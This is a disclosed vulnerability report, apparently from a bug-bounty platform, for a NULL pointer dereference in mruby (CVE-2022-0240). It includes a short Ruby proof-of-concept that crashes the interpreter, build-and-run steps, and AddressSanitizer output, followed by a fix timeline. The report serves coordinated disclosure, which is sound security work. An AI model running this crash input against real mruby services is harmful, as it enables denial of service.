NULL Pointer Dereference in mruby/mruby

Valid Reported on Jan 14th 2022

Description

There is a NULL Pointer Dereference in `prepare_singleton_class` (`src/class.c:360:13`). This bug has been found on mruby lastest commit (hash `171d32c0071d776207174a40a8fa26def3dbb931`) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

```
1.times{b={}
a=0
[**0,m:0]
c={0=>0,nil=>nil}[0]
def m()end
def c.e()end}
```

Steps to reproduce

1- Clone repo and build with ASAN using `MRUBY_CONFIG=build_config/clang-asan.rb rake`
2- Use mruby to execute the poc:

```
$ echo -ne "MS50aW1lc3tiPXt9CmE9MApbKiowLG06MF0KYz17MD0+MCxuaWw9Pm5pbH1bMF0
$ build/host/bin/mruby ./poc
/home/octa/mruby/src/class.c:360:13: runtime error: member access within nu
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/octa/mruby/sr
AddressSanitizer:DEADLYSIGNAL
=================================================================
==31695==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (p
==31695==The signal is caused by a READ memory access.
==31695==Hint: address points to the zero page.
    #0 0x5270f8 in prepare_singleton_class /home/octa/mruby/src/class.c:366
```

```
#1 0x52688f in mrb_singleton_class_ptr /home/octa/mruby/src/class.c:168
#2 0x528785 in mrb_singleton_class /home/octa/mruby/src/class.c:1692:22
#3 0x600757 in mrb_vm_exec /home/octa/mruby/src/vm.c:2918:17

#4 0x566ee9 in mrb_vm_run /home/octa/mruby/src/vm.c:1128:12
#5 0x55c339 in mrb_top_run /home/octa/mruby/src/vm.c:3050:12
#6 0x88b6ce in mrb_load_exec /home/octa/mruby/mrbgems/mruby-compiler/co
#7 0x88d2dc in mrb_load_detect_file_cxt /home/octa/mruby/mrbgems/mruby-
#8 0x4c9118 in main /home/octa/mruby/mrbgems/mruby-bin-mruby/tools/mrub
#9 0x7f46ef9450b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/c
#10 0x41d82d in _start (/home/octa/mruby/build/host/bin/mruby+0x41d82d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/octa/mruby/src/class.c:360:13 in prep
==31695==ABORTING
```

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE
CVE-2022-0240
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (6.2)

Visibility
Public

Status
Fixed

Found by

Octavio Gianatiempo
@ogianatiempo
unranked

Fixed by

Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 458 times.

We are processing your report and will contact the **mruby** team within 24 hours. 10 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 10 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 10 months ago

Octavio Gianatiempo has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **31fa33** 10 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Octavio 10 months ago Researcher

Thanks for the quick validation and fix 👍

Sign in to join this conversation